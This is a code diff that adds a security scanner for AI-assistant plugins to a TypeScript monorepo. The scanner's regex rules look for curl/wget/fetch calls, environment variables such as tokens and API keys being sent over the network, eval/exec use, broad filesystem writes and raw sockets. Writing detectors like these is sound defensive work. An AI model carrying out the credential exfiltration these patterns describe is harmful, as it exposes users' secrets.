+ "@harness-kit/shared": "workspace:*", "ajv": "^8", "ajv-formats": "^3", "yaml": "^2.8.3" diff --git a/packages/core/src/fs-node.ts b/packages/core/src/fs-node.ts index e6d94f21..6f1cc4cd 100644 --- a/packages/core/src/fs-node.ts +++ b/packages/core/src/fs-node.ts @@ -1,4 +1,4 @@ -import { readFile, writeFile, access, mkdir, readdir } from "node:fs/promises"; +import { readFile, writeFile, access, mkdir, readdir, lstat } from "node:fs/promises"; import { join, dirname } from "node:path"; import { homedir } from "node:os"; import type { FsProvider } from "./fs-provider.js"; @@ -32,7 +32,19 @@ export class NodeFsProvider implements FsProvider { } async readDir(path: string): Promise { - return readdir(path); + // Use withFileTypes to filter out symlinks, preventing path traversal + // via symlinked directories that point outside the plugin tree. + const entries = await readdir(path, { withFileTypes: true }); + return entries.filter((e) => !e.isSymbolicLink()).map((e) => e.name); + } + + async isSymlink(path: string): Promise { + try { + const stat = await lstat(path); + return stat.isSymbolicLink(); + } catch { + return false; + } } joinPath(...segments: string[]): string { diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index c120b8c5..e3f09f0c 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -25,6 +25,17 @@ export type { export type { FsProvider } from "./fs-provider.js"; export type { ParseResult } from "./parser/parse-harness.js"; +// Security scanner types +export type { ScanOptions } from "./security/scanner.js"; +export type { ScanContext, RuleResult, SecurityRule } from "./security/rules.js"; +export type { + FormattedSecurityReport, + ReportSection, + FormattedFinding, + PermissionsSection, + PermissionItem, +} from "./security/report.js"; + // Parser export { parseHarness } from "./parser/parse-harness.js"; @@ -57,3 +68,16 @@ export { buildReport } from "./report/report.js"; // Utilities export { posixJoin, posixDirname } from "./utils/posix-path.js"; export { isLegacyFormat } from "./utils/legacy.js"; + +// Security scanner +export { scanPlugin } from "./security/scanner.js"; +export { + runSecurityRules, + detectExternalUrls, + detectEnvVarExfiltration, + detectBroadFilesystemAccess, + detectSuspiciousScripts, + detectNetworkAccess, + ALL_RULES, +} from "./security/rules.js"; +export { formatSecurityReport } from "./security/report.js"; diff --git a/packages/core/src/security/report.ts b/packages/core/src/security/report.ts new file mode 100644 index 00000000..1e8cca90 --- /dev/null +++ b/packages/core/src/security/report.ts @@ -0,0 +1,209 @@ +import type { SecurityReport, SecurityFinding } from "@harness-kit/shared"; + +// ── Report formatting types ───────────────────────────────────── + +export interface FormattedSecurityReport { + plugin_name: string; + plugin_version: string; + scan_date: string; + scan_status: string; + summary: string; + sections: ReportSection[]; + permissions: PermissionsSection; +} + +export interface ReportSection { + title: string; + count: number; + findings: FormattedFinding[]; +} + +export interface FormattedFinding { + message: string; + file_path?: string; + line_number?: number; + code_snippet?: string; + recommendation?: string; +} + +export interface PermissionsSection { + title: string; + items: PermissionItem[]; +} + +export interface PermissionItem { + label: string; + value: string; +} + +// ── Status formatting ─────────────────────────────────────────── + +const STATUS_LABELS = { + passed: "✓ Passed", + warnings: "⚠ Warnings", + failed: "✗ Failed", + not_scanned: "- Not Scanned", +}; + +// ── Main report formatter ─────────────────────────────────────── + +export function formatSecurityReport(report: SecurityReport): FormattedSecurityReport { + // Group findings by severity + const criticalFindings = report.findings.filter((f) => f.severity === "critical"); + const warningFindings = report.findings.filter((f) => f.severity === "warning"); + const infoFindings = report.findings.filter((f) => f.severity === "info"); + + // Build sections + const sections: ReportSection[] = []; + + if (criticalFindings.length > 0) { + sections.push({ + title: "Critical Issues", + count: criticalFindings.length, + findings: criticalFindings.map(formatFinding), + }); + } + + if (warningFindings.length > 0) { + sections.push({ + title: "Warnings", + count: warningFindings.length, + findings: warningFindings.map(formatFinding), + }); + } + + if (infoFindings.length > 0) { + sections.push({ + title: "Informational", + count: infoFindings.length, + findings: infoFindings.map(formatFinding), + }); + } + + // Format permissions summary + const permissions = formatPermissions(report); + + // Build summary + const summary = buildSummary(report); + + // Format status + const scanStatus = STATUS_LABELS[report.scan_status] || report.scan_status; + + return { + plugin_name: report.plugin_name, + plugin_version: report.plugin_version, + scan_date: report.scan_date, + scan_status: scanStatus, + summary, + sections, + permissions, + }; +} + +// ── Helper functions ──────────────────────────────────────────── + +function formatFinding(finding: SecurityFinding): FormattedFinding { + return { + message: finding.message, + file_path: finding.file_path, + line_number: finding.line_number, + code_snippet: finding.code_snippet, + recommendation: finding.recommendation, + }; +} + +function formatPermissions(report: SecurityReport): PermissionsSection { + const items: PermissionItem[] = []; + + // Network access + items.push({ + label: "Network Access", + value: report.permissions.network_access ? "Yes" : "No", + }); + + // File writes + items.push({ + label: "File Writes", + value: report.permissions.file_writes ? "Yes" : "No", + }); + + // Environment variables + if (report.permissions.env_var_reads.length > 0) { + items.push({ + label: "Environment Variables", + value: `${report.permissions.env_var_reads.length} variable${report.permissions.env_var_reads.length !== 1 ? "s" : ""} (${report.permissions.env_var_reads.join(", ")})`, + }); + } else { + items.push({ + label: "Environment Variables", + value: "None", + }); + } + + // External URLs + if (report.permissions.external_urls.length > 0) { + items.push({ + label: "External URLs", + value: `${report.permissions.external_urls.length} URL${report.permissions.external_urls.length !== 1 ? "s" : ""}`, + }); + // Add individual URLs as sub-items + for (const url of report.permissions.external_urls) { + items.push({ + label: "", + value: ` - ${url}`, + }); + } + } else { + items.push({ + label: "External URLs", + value: "None", + }); + } + + // Filesystem patterns + if (report.permissions.filesystem_patterns.length > 0) { + items.push({ + label: "Filesystem Patterns", + value: `${report.permissions.filesystem_patterns.length} pattern${report.permissions.filesystem_patterns.length !== 1 ? "s" : ""}`, + }); + // Add individual patterns as sub-items + for (const pattern of report.permissions.filesystem_patterns) { + items.push({ + label: "", + value: ` - ${pattern}`, + }); + } + } else { + items.push({ + label: "Filesystem Patterns", + value: "None", + }); + } + + return { + title: "Permissions Summary", + items, + }; +} + +function buildSummary(report: SecurityReport): string { + const parts: string[] = []; + + if (report.critical_count > 0) { + parts.push(`${report.critical_count} critical issue${report.critical_count !== 1 ? "s" : ""}`); + } + + if (report.warning_count > 0) { + parts.push(`${report.warning_count} warning${report.warning_count !== 1 ? "s" : ""}`); + } + + if (report.info_count > 0) { + parts.push(`${report.info_count} info${report.info_count !== 1 ? "" : ""}`); + } + + if (parts.length === 0) { + return "No issues found"; + } + + return parts.join(", "); +} diff --git a/packages/core/src/security/rules.ts b/packages/core/src/security/rules.ts new file mode 100644 index 00000000..553155b8 --- /dev/null +++ b/packages/core/src/security/rules.ts @@ -0,0 +1,403 @@ +import type { + SecurityFinding, + SecurityFindingSeverity, + SecurityFindingCategory, +} from "@harness-kit/shared"; + +/** Generates a short collision-resistant ID for a finding without requiring crypto imports. */ +export function findingId(): string { + return `${Date.now().toString(36)}-${Math.random().toString(36).slice(2)}`; +} + +// ── Rule interfaces ───────────────────────────────────────────── + +export interface ScanContext { + pluginName: string; + filePath: string; + content: string; +} + +export interface RuleResult { + findings: SecurityFinding[]; +} + +export type SecurityRule = (context: ScanContext) => RuleResult; + +// ── Pattern definitions ───────────────────────────────────────── + +const EXTERNAL_URL_PATTERNS = [ + // Bounded repetition prevents ReDoS on adversarial input + /https?:\/\/[^\s"'`]{1,2048}/gi, + /curl\s+[^\s]{1,512}/gi, + /wget\s+[^\s]{1,512}/gi, + /fetch\s*\(\s*['"`]https?:\/\//gi, +]; + +const ENV_VAR_PATTERNS = [ + /\$\{?([A-Z_][A-Z0-9_]*)\}?/g, + /process\.env\.([A-Z_][A-Z0-9_]*)/g, + /os\.getenv\s*\(\s*['"]([A-Z_][A-Z0-9_]*)['"]]/g, + /ENV\s*\[\s*['"]([A-Z_][A-Z0-9_]*)['"]]/g, +]; + +const SENSITIVE_ENV_VARS = [ + "API_KEY", + "SECRET", + "TOKEN", + "PASSWORD", + "PRIVATE_KEY", + "AWS_", + "GITHUB_", + "SLACK_", + "OPENAI_", + "ANTHROPIC_", +]; + +const SUSPICIOUS_SCRIPT_PATTERNS = [ + { pattern: /eval\s*\(/gi, reason: "Dynamic code evaluation (eval)" }, + // Negative lookbehind excludes regex .exec() calls (e.g. /foo/.exec(str)) + { pattern: /(? + varName.toUpperCase().includes(sensitive), + ); +} + +// ── Security rules ────────────────────────────────────────────── + +export function detectExternalUrls(context: ScanContext): RuleResult { + const findings: SecurityFinding[] = []; + const { filePath, content } = context; + + // Skip if this is a markdown file (URLs in docs are expected) + if (filePath.endsWith(".md")) { + return { findings }; + } + + const urls = new Set(); + + for (const pattern of EXTERNAL_URL_PATTERNS) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const url = match[0]; + + // Skip common safe patterns — use hostname comparison, not includes(), + // to prevent bypass via subdomain spoofing (e.g. github.com.evil.com) + try { + const hostname = new URL(url).hostname.toLowerCase(); + if ( + hostname === "example.com" || + hostname === "localhost" || + hostname === "127.0.0.1" || + hostname === "github.com" || + hostname.endsWith(".github.com") || + hostname === "gitlab.com" || + hostname.endsWith(".gitlab.com") + ) { + continue; + } + } catch { + // Not a parseable URL — include in findings anyway + } + + if (!urls.has(url)) { + urls.add(url); + const lineNumber = findLineNumber(content, match.index); + const snippet = extractCodeSnippet(content, match.index, url.length); + + findings.push( + createFinding( + "warning", + "external_url", + `External URL detected: ${url}`, + filePath, + lineNumber, + snippet, + "Verify this URL is necessary and trustworthy. Consider if this data should be fetched at install time or runtime.", + ), + ); + } + } + } + + return { findings }; +} + +export function detectEnvVarExfiltration(context: ScanContext): RuleResult { + const findings: SecurityFinding[] = []; + const { filePath, content } = context; + + const envVars = new Map(); + + for (const pattern of ENV_VAR_PATTERNS) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const varName = match[1]; + if (!varName) continue; + + const lineNumber = findLineNumber(content, match.index); + + if (!envVars.has(varName)) { + envVars.set(varName, []); + } + envVars.get(varName)!.push(lineNumber); + } + } + + // Check for sensitive environment variables + for (const [varName, lineNumbers] of envVars.entries()) { + if (isSensitiveEnvVar(varName)) { + const severity: SecurityFindingSeverity = "critical"; + const lines = lineNumbers.join(", "); + + findings.push( + createFinding( + severity, + "env_var_exfiltration", + `Sensitive environment variable access detected: ${varName} (lines: ${lines})`, + filePath, + lineNumbers[0], + undefined, + `Ensure ${varName} is properly declared in requires.env and only used for its intended purpose. Never send sensitive values to external URLs.`, + ), + ); + } + } + + // Look for patterns that suggest data exfiltration + const exfiltrationPatterns = [ + /fetch.*process\.env/gi, + /curl.*\$[A-Z_]/gi, + /wget.*\$[A-Z_]/gi, + /requests\.(get|post).*os\.getenv/gi, + ]; + + for (const pattern of exfiltrationPatterns) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const lineNumber = findLineNumber(content, match.index); + const snippet = extractCodeSnippet(content, match.index, match[0].length); + + findings.push( + createFinding( + "critical", + "env_var_exfiltration", + "Potential environment variable exfiltration detected: sending env vars over network", + filePath, + lineNumber, + snippet, + "Review this code carefully. Sending environment variables over the network can expose sensitive credentials.", + ), + ); + } + } + + return { findings }; +} + +export function detectBroadFilesystemAccess(context: ScanContext): RuleResult { + const findings: SecurityFinding[] = []; + const { filePath, content } = context; + + for (const { pattern, reason } of BROAD_FILESYSTEM_PATTERNS) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const lineNumber = findLineNumber(content, match.index); + const snippet = extractCodeSnippet(content, match.index, match[0].length); + + findings.push( + createFinding( + "warning", + "filesystem_access", + `Broad filesystem access pattern detected: ${reason}`, + filePath, + lineNumber, + snippet, + "Consider limiting filesystem access to specific directories needed by the plugin.", + ), + ); + } + } + + // Check for world-writable permissions requests + const permissionPatterns = [ + /permissions\s*:\s*{[^}]*writable\s*:\s*\[\s*['"]\/['"]]/gi, + /permissions\s*:\s*{[^}]*writable\s*:\s*\[\s*['"]~['"]]/gi, + ]; + + for (const pattern of permissionPatterns) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const lineNumber = findLineNumber(content, match.index); + const snippet = extractCodeSnippet(content, match.index, match[0].length); + + findings.push( + createFinding( + "critical", + "filesystem_access", + "Plugin requests write access to root or home directory", + filePath, + lineNumber, + snippet, + "Requesting write access to / or ~ is dangerous. Limit write access to specific subdirectories.", + ), + ); + } + } + + return { findings }; +} + +export function detectSuspiciousScripts(context: ScanContext): RuleResult { + const findings: SecurityFinding[] = []; + const { filePath, content } = context; + + // Only scan script files and hooks + const isScript = + filePath.endsWith(".sh") || + filePath.endsWith(".py") || + filePath.endsWith(".js") || + filePath.endsWith(".ts") || + filePath.includes("scripts/") || + filePath.includes("hooks/"); + + if (!isScript) { + return { findings }; + } + + for (const { pattern, reason } of SUSPICIOUS_SCRIPT_PATTERNS) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const lineNumber = findLineNumber(content, match.index); + const snippet = extractCodeSnippet(content, match.index, match[0].length); + + findings.push( + createFinding( + "warning", + "suspicious_script", + `Suspicious pattern detected: ${reason}`, + filePath, + lineNumber, + snippet, + "Review this code carefully. This pattern can be dangerous if not properly controlled.", + ), + ); + } + } + + return { findings }; +} + +export function detectNetworkAccess(context: ScanContext): RuleResult { + const findings: SecurityFinding[] = []; + const { filePath, content } = context; + + const networkPatterns = [ + { pattern: /socket\./gi, reason: "Direct socket access" }, + { pattern: /net\.Socket/gi, reason: "Network socket creation" }, + { pattern: /ServerSocket/gi, reason: "Server socket creation" }, + { pattern: /bind\s*\(\s*['"][0-9.]+['"]\s*,\s*\d+\s*\)/gi, reason: "Network binding" }, + ]; + + for (const { pattern, reason } of networkPatterns) { + let match; + const regex = new RegExp(pattern); + while ((match = regex.exec(content)) !== null) { + const lineNumber = findLineNumber(content, match.index); + const snippet = extractCodeSnippet(content, match.index, match[0].length); + + findings.push( + createFinding( + "info", + "network_access", + `Network access detected: ${reason}`, + filePath, + lineNumber, + snippet, + "Ensure network access is necessary and properly documented in the plugin manifest.", + ), + ); + } + } + + return { findings }; +} + +// ── Rule registry ─────────────────────────────────────────────── + +export const ALL_RULES: SecurityRule[] = [ + detectExternalUrls, + detectEnvVarExfiltration, + detectBroadFilesystemAccess, + detectSuspiciousScripts, + detectNetworkAccess, +]; + +// ── Main rule runner ──────────────────────────────────────────── + +export function runSecurityRules( + context: ScanContext, + rules: SecurityRule[] = ALL_RULES, +): SecurityFinding[] { + const allFindings: SecurityFinding[] = []; + + for (const rule of rules) { + const result = rule(context); + allFindings.push(...result.findings); + } + + return allFindings; +} diff --git a/packages/core/src/security/scanner.ts b/packages/core/src/security/scanner.ts new file mode 100644 index 00000000..de50be91 --- /dev/null +++ b/packages/core/src/security/scanner.ts @@ -0,0 +1,328 @@ +import type { FsProvider } from "../fs-provider.js"; +import type { + SecurityReport, + SecurityFinding, + SecurityPermissionsSummary, + SecurityScanStatus, +} from "@harness-kit/shared"; +import { readJsonOrDefault } from "../utils/read-json.js"; +import { findingId } from "./rules.js"; +import { runSecurityRules } from "./rules.js"; + +// ── Plugin manifest types ─────────────────────────────────────── + +interface PluginManifest { + name: string; + version: string; + description?: string; + requires?: { + env?: Array<{ + name: string; + description: string; + required?: boolean; + sensitive?: boolean; + }>; + permissions?: { + tools?: string[]; + paths?: { + writable?: string[]; + readonly?: string[]; + }; + network?: { + "allowed-hosts"?: string[]; + }; + }; + }; +} + +// ── Scanner options ───────────────────────────────────────────── + +export interface ScanOptions { + /** Plugin directory to scan */ + pluginDir: string; + /** Filesystem provider */ + fs: FsProvider; + /** Include info-level findings in the report (default: true) */ + includeInfo?: boolean; +} + +// ── Scanner implementation ────────────────────────────────────── + +export async function scanPlugin(options: ScanOptions): Promise { + const { pluginDir, fs, includeInfo = true } = options; + + // Read plugin manifest + const manifestPath = fs.joinPath(pluginDir, ".claude-plugin/plugin.json"); + const { data: manifest, existed } = await readJsonOrDefault( + fs, + manifestPath, + { name: "unknown", version: "0.0.0" }, + ); + + if (!existed) { + throw new Error(`Plugin manifest not found: ${manifestPath}`); + } + + // Scan all relevant files in the plugin directory + const findings: SecurityFinding[] = []; + const scannedFiles = await collectScannableFiles(pluginDir, fs); + + for (const filePath of scannedFiles) { + const fullPath = fs.joinPath(pluginDir, filePath); + const content = await fs.readFile(fullPath); + + const fileFindings = runSecurityRules({ + pluginName: manifest.name, + filePath, + content, + }); + + findings.push(...fileFindings); + } + + // Analyze manifest for permission requests + const manifestFindings = analyzeManifestPermissions(manifest, manifestPath); + findings.push(...manifestFindings); + + // Build permissions summary + const permissions = buildPermissionsSummary(manifest, findings); + + // Filter findings by severity if needed + const filteredFindings = includeInfo + ? findings + : findings.filter((f) => f.severity !== "info"); + + // Calculate severity counts + const criticalCount = filteredFindings.filter((f) => f.severity === "critical").length; + const warningCount = filteredFindings.filter((f) => f.severity === "warning").length; + const infoCount = filteredFindings.filter((f) => f.severity === "info").length; + + // Determine scan status + const scanStatus: SecurityScanStatus = + criticalCount > 0 ? "failed" : warningCount > 0 ? "warnings" : "passed"; + + return { + plugin_name: manifest.name, + plugin_version: manifest.version, + scan_date: new Date().toISOString(), + scan_status: scanStatus, + findings: filteredFindings, + permissions, + critical_count: criticalCount, + warning_count: warningCount, + info_count: infoCount, + }; +} + +// ── Helper functions ──────────────────────────────────────────── + +async function collectScannableFiles( + pluginDir: string, + fs: FsProvider, +): Promise { + const scannableFiles: string[] = []; + + // Directories to scan + const dirsToScan = ["hooks", "scripts", "skills", "agents"]; + + // File extensions to scan + const scannableExtensions = [".sh", ".py", ".js", ".ts", ".md"]; + + const MAX_DEPTH = 15; + + async function walkDirectory(dir: string, depth = 0): Promise { + if (depth > MAX_DEPTH) { + return; + } + + const fullPath = fs.joinPath(pluginDir, dir); + const exists = await fs.exists(fullPath); + + if (!exists) { + return; + } + + try { + const entries = await fs.readDir(fullPath); + + for (const entry of entries) { + const entryPath = fs.joinPath(dir, entry); + const entryFullPath = fs.joinPath(pluginDir, entryPath); + + // Check if it's a directory (by trying to read it) + const isDir = await isDirectory(entryFullPath, fs); + + if (isDir) { + await walkDirectory(entryPath, depth + 1); + } else { + // Check if file has a scannable extension + if (scannableExtensions.some((ext) => entry.endsWith(ext))) { + scannableFiles.push(entryPath); + } + } + } + } catch { + // Directory might not be readable, skip it + } + } + + // Walk each directory + for (const dir of dirsToScan) { + await walkDirectory(dir); + } + + // Also scan root-level script files + try { + const rootEntries = await fs.readDir(pluginDir); + for (const entry of rootEntries) { + if (scannableExtensions.some((ext) => entry.endsWith(ext))) { + scannableFiles.push(entry); + } + } + } catch { + // Skip if can't read root directory + } + + return scannableFiles; +} + +async function isDirectory(path: string, fs: FsProvider): Promise { + try { + await fs.readDir(path); + return true; + } catch { + return false; + } +} + +function analyzeManifestPermissions( + manifest: PluginManifest, + manifestPath: string, +): SecurityFinding[] { + const findings: SecurityFinding[] = []; + + // Check for excessive permission requests + const permissions = manifest.requires?.permissions; + + if (permissions?.paths?.writable) { + for (const path of permissions.paths.writable) { + // Flag root or home directory write access as critical. + // startsWith("~") covers "~", "~/", and named expansions like "~root". + if (path === "/" || path.startsWith("~")) { + findings.push({ + id: findingId(), + severity: "critical", + category: "permission_request", + message: `Plugin requests write access to sensitive path: ${path}`, + file_path: manifestPath, + recommendation: + "Limit write access to specific subdirectories needed by the plugin. Requesting write access to / or ~ is dangerous.", + }); + } else if (path.includes("**")) { + findings.push({ + id: findingId(), + severity: "warning", + category: "permission_request", + message: `Plugin requests broad recursive write access: ${path}`, + file_path: manifestPath, + recommendation: + "Consider limiting the scope of file system access to specific directories.", + }); + } + } + } + + // Check for network permissions with no host restrictions + if (permissions?.network && !permissions.network["allowed-hosts"]) { + findings.push({ + id: findingId(), + severity: "info", + category: "permission_request", + message: "Plugin requests network access without host restrictions", + file_path: manifestPath, + recommendation: + "Consider specifying allowed-hosts to limit network access to trusted domains.", + }); + } + + // Check for sensitive environment variables + const envVars = manifest.requires?.env || []; + for (const envVar of envVars) { + if (envVar.sensitive) { + findings.push({ + id: findingId(), + severity: "info", + category: "env_var_exfiltration", + message: `Plugin declares access to sensitive environment variable: ${envVar.name}`, + file_path: manifestPath, + recommendation: `Ensure ${envVar.name} is only used for its intended purpose and never sent to untrusted external services.`, + }); + } + } + + return findings; +} + +function buildPermissionsSummary( + manifest: PluginManifest, + findings: SecurityFinding[], +): SecurityPermissionsSummary { + // Check for network access from manifest + const hasNetworkPermission = !!manifest.requires?.permissions?.network; + + // Check for network access from findings + const hasNetworkFindings = findings.some((f) => f.category === "network_access"); + const hasExternalUrls = findings.some((f) => f.category === "external_url"); + + const networkAccess = hasNetworkPermission || hasNetworkFindings || hasExternalUrls; + + // Check for file writes from manifest + const hasFileWritePermission = + !!manifest.requires?.permissions?.paths?.writable && + manifest.requires.permissions.paths.writable.length > 0; + + const fileWrites = hasFileWritePermission; + + // Collect environment variable reads + const envVarReads = Array.from( + new Set([ + ...(manifest.requires?.env?.map((e) => e.name) || []), + ...findings + .filter((f) => f.category === "env_var_exfiltration") + .map((f) => { + // Extract env var name from message like "Sensitive environment variable access detected: TOKEN" + const match = f.message.match(/variable\s+(?:access\s+detected|declared):\s+(\S+)/i); + return match ? match[1] : null; + }) + .filter((name): name is string => name !== null), + ]), + ); + + // Collect external URLs from findings + const externalUrls = Array.from( + new Set( + findings + .filter((f) => f.category === "external_url") + .map((f) => { + // Extract URL from message like "External URL detected: https://example.com" + const match = f.message.match(/URL detected:\s+(\S+)/); + return match ? match[1] : null; + }) + .filter((url): url is string => url !== null), + ), + ); + + // Collect filesystem patterns from manifest + const filesystemPatterns = [ + ...(manifest.requires?.permissions?.paths?.writable || []), + ...(manifest.requires?.permissions?.paths?.readonly || []), + ]; + + return { + network_access: networkAccess, + file_writes: fileWrites, + env_var_reads: envVarReads, + external_urls: externalUrls, + filesystem_patterns: filesystemPatterns, + }; +} diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 260fdfbb..01513785 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -16,6 +16,12 @@ export type { MarketplacePlugin, MarketplaceCategory, ProfileYaml, + SecurityScanStatus, + SecurityFindingSeverity, + SecurityFindingCategory, + SecurityFinding, + SecurityPermissionsSummary, + SecurityReport, InstalledPlugin, KnownMarketplace, PluginUpdateInfo, diff --git a/packages/shared/src/types.ts b/packages/shared/src/types.ts index ef585d24..b95b8e06 100644 --- a/packages/shared/src/types.ts +++ b/packages/shared/src/types.ts @@ -36,6 +36,10 @@ export interface Component { review_count?: number; created_at: string; updated_at: string; + security_scan_status?: SecurityScanStatus; + security_scan_date?: string | null; + security_findings?: SecurityFinding[]; + security_permissions?: SecurityPermissionsSummary; } export interface Profile { @@ -171,6 +175,51 @@ export interface ProfileYaml { rules?: string[]; } +// ── Security scanning types ───────────────────────────────── + +export type SecurityScanStatus = "passed" | "warnings" | "failed" | "not_scanned"; + +export type SecurityFindingSeverity = "critical" | "warning" | "info"; + +export type SecurityFindingCategory = + | "external_url" + | "env_var_exfiltration" + | "filesystem_access" + | "suspicious_script" + | "permission_request" + | "network_access"; + +export interface SecurityFinding { + id: string; + severity: SecurityFindingSeverity; + category: SecurityFindingCategory; + message: string; + file_path?: string; + line_number?: number; + code_snippet?: string; + recommendation?: string; +} + +export interface SecurityPermissionsSummary { + network_access: boolean; + file_writes: boolean; + env_var_reads: string[]; + external_urls: string[]; + filesystem_patterns: string[]; +} + +export interface SecurityReport { + plugin_name: string; + plugin_version: string; + scan_date: string; + scan_status: SecurityScanStatus; + findings: SecurityFinding[]; + permissions: SecurityPermissionsSummary; + critical_count: number; + warning_count: number; + info_count: number; +} + // ── Desktop app types ──────────────────────────────────────── export interface ComponentCounts { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 37563c76..0501a742 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -357,6 +357,9 @@ importers: packages/core: dependencies: + '@harness-kit/shared': + specifier: workspace:* + version: link:../shared ajv: specifier: ^8 version: 8.18.0 @@ -6738,14 +6741,6 @@ snapshots: chai: 6.2.2 tinyrainbow: 3.1.0 - '@vitest/mocker@3.2.4(vite@6.4.1(@types/node@22.19.15)(jiti@2.6.1)(lightningcss@1.31.1)(tsx@4.21.0)(yaml@2.8.3))': - dependencies: - '@vitest/spy': 3.2.4 - estree-walker: 3.0.3 - magic-string: 0.30.21 - optionalDependencies: - vite: 6.4.1(@types/node@22.19.15)(jiti@2.6.1)(lightningcss@1.31.1)(tsx@4.21.0)(yaml@2.8.3) - '@vitest/mocker@3.2.4(vite@6.4.1(@types/node@25.5.0)(jiti@2.6.1)(lightningcss@1.31.1)(tsx@4.21.0)(yaml@2.8.3))': dependencies: '@vitest/spy': 3.2.4 @@ -9696,7 +9691,7 @@ snapshots: dependencies: '@types/chai': 5.2.3 '@vitest/expect': 3.2.4 - '@vitest/mocker': 3.2.4(vite@6.4.1(@types/node@22.19.15)(jiti@2.6.1)(lightningcss@1.31.1)(tsx@4.21.0)(yaml@2.8.3)) + '@vitest/mocker': 3.2.4(vite@6.4.1(@types/node@25.5.0)(jiti@2.6.1)(lightningcss@1.31.1)(tsx@4.21.0)(yaml@2.8.3)) '@vitest/pretty-format': 3.2.4 '@vitest/runner': 3.2.4 '@vitest/snapshot': 3.2.4